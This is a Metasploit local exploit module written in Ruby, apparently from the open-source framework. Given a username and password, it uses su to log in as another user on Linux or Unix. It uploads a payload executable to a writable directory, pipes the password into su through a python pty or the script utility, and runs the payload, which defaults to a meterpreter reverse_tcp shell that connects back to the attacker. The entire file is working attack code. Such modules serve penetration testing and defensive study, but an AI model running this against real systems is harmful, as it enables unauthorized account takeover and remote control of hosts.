##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux
  include Msf::Post::Linux::System
  include Msf::Post::Unix
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE
  prepend Msf::Exploit::Remote::AutoCheck

  Rank = NormalRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Login to Another User with Su on Linux / Unix Systems',
        'Description' => %q{
          This module attempts to create a new login session by
          invoking the su command of a valid username and password.

          If the login is successful, a new session is created via
          the specified payload.

          Because su forces passwords to be passed over stdin, this
          module attempts to invoke a psuedo-terminal with python,
          python3, or script.
        },
        'License' => MSF_LICENSE,
        'Author' => 'Gavin Youker <youkergav@gmail.com>',
        'DisclosureDate' => '1971-11-03',
        'Platform' => ['linux', 'unix'],
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [
            'Linux x86', {
              'Arch' => ARCH_X86,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
            }
          ],
          [
            'Linux x86_64', {
              'Arch' => ARCH_X64,
              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
        'SessionTypes' => ['shell', 'meterpreter'],
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username to authenticate with.', 'root']),
      OptString.new('PASSWORD', [false, 'Password to authenticate with.'])
    ])

    register_advanced_options([
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ])
  end

  # Main function to run the exploit.
  def exploit
    fail_with(Failure::NoAccess, 'username not found') unless user_exists(datastore['USERNAME'])

    # Upload the payload and stager files.
    print_status('Uploading payload to target')
    payload_file = build_payload(generate_payload_exe, datastore['WritableDir'])

    # Execute the payload.
    print_status('Attempting to login with su')
    exec_payload(datastore['USERNAME'], datastore['PASSWORD'], payload_file)
  end

  # Function to check if target is exploitable.
  def check
    # Make sure su is installed.
    unless command_exists?('su')
      vprint_error('su not found on target machine')
      return CheckCode::Safe
    end

    # Make sure a program to run the exploit is installed.
    prorgam = find_exec_program
    unless prorgam
      vprint_error('One of the following programs must be installed on target: python, python3, script')
      return CheckCode::Safe
    end

    # Make sure script requirements are met.
    if prorgam == 'script'
      # Check for command dependencies.
      commands = ['sh', 'sleep', 'echo', 'base64']
      for command in commands
        unless command_exists?(command)
          vprint_error("The '#{command}' must be installed on target")
          return CheckCode::Safe
        end
      end

      # Check that the script program is apart of the util-linux package.
      version = find_util_linux_verison
      unless version
        vprint_error("The 'script' program must be of the 'util-linux' package")
        return CheckCode::Safe
      end

      # Check that util-linux in of a compatible version.
      unless version >= Rex::Version.new('2.25')
        vprint_error("The package 'util-linux' must be version 2.25 or higher")
        return CheckCode::Safe
      end
    end

    return CheckCode::Appears
  end

  # Function to build and write the payload.
  def build_payload(contents, dir)
    fail_with(Failure::NoAccess, "directory '#{dir}' is on a noexec mount point") if noexec?(dir)

    filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"

    write_file(filepath, contents)
    chmod(filepath, 755)
    register_files_for_cleanup(filepath)

    return filepath
  end

  # Function to execute the payload through the stager.
  def exec_payload(username, password, payload)
    # Load the exploit based on avaliable options.
    if password
      program = find_exec_program
      if ['python', 'python3'].include?(program)
        vprint_status("Using '#{program}' to load exploit")

        python = 'import os, pty, base64;'\
                 'read = lambda fd: os.read(fd, 1024);'\
                 "write = lambda fd: base64.b64decode('#{Rex::Text.encode_base64(password)}');"\
                 "command = 'su - #{username} -c #{payload}';"\
                 'os.close(0);'\
                 'pty.spawn(command.split(), read, write);'

        command = "#{program} -c \"#{python}\""
      elsif program == 'script'
        vprint_status("Using 'script' to load exploit")
        command = "sh -c 'sleep 1; echo #{Rex::Text.encode_base64(password)} | base64 -d' | script /dev/null -qc 'su - #{username} -c #{payload}'"
      end
    else
      command = "su - #{username} -c #{payload}"
    end

    # Execute the exploit.
    response = cmd_exec(command)

    fail_with(Failure::NoAccess, 'invalid password') if response.to_s.include?('Authentication failure')
    return true
  end

  def find_exec_program
    return 'python' if command_exists?('python')
    return 'python3' if command_exists?('python3')
    return 'script' if command_exists?('script')

    return false
  end

  # Function to check if the user exists.
  def user_exists(username)
    return get_users.any? { |user| user[:name] == username }
  end

  # Function to get util-linux version.
  def find_util_linux_verison
    response = cmd_exec('script -V')
    # rubocop:disable Lint/MixedRegexpCaptureTypes
    match = response.match(/script from util-linux (?<version>\d.\d+(.\d+)?)/)
    # rubocop:enable Lint/MixedRegexpCaptureTypes

    return false unless match

    return Rex::Version.new(match[:version])
  end
end
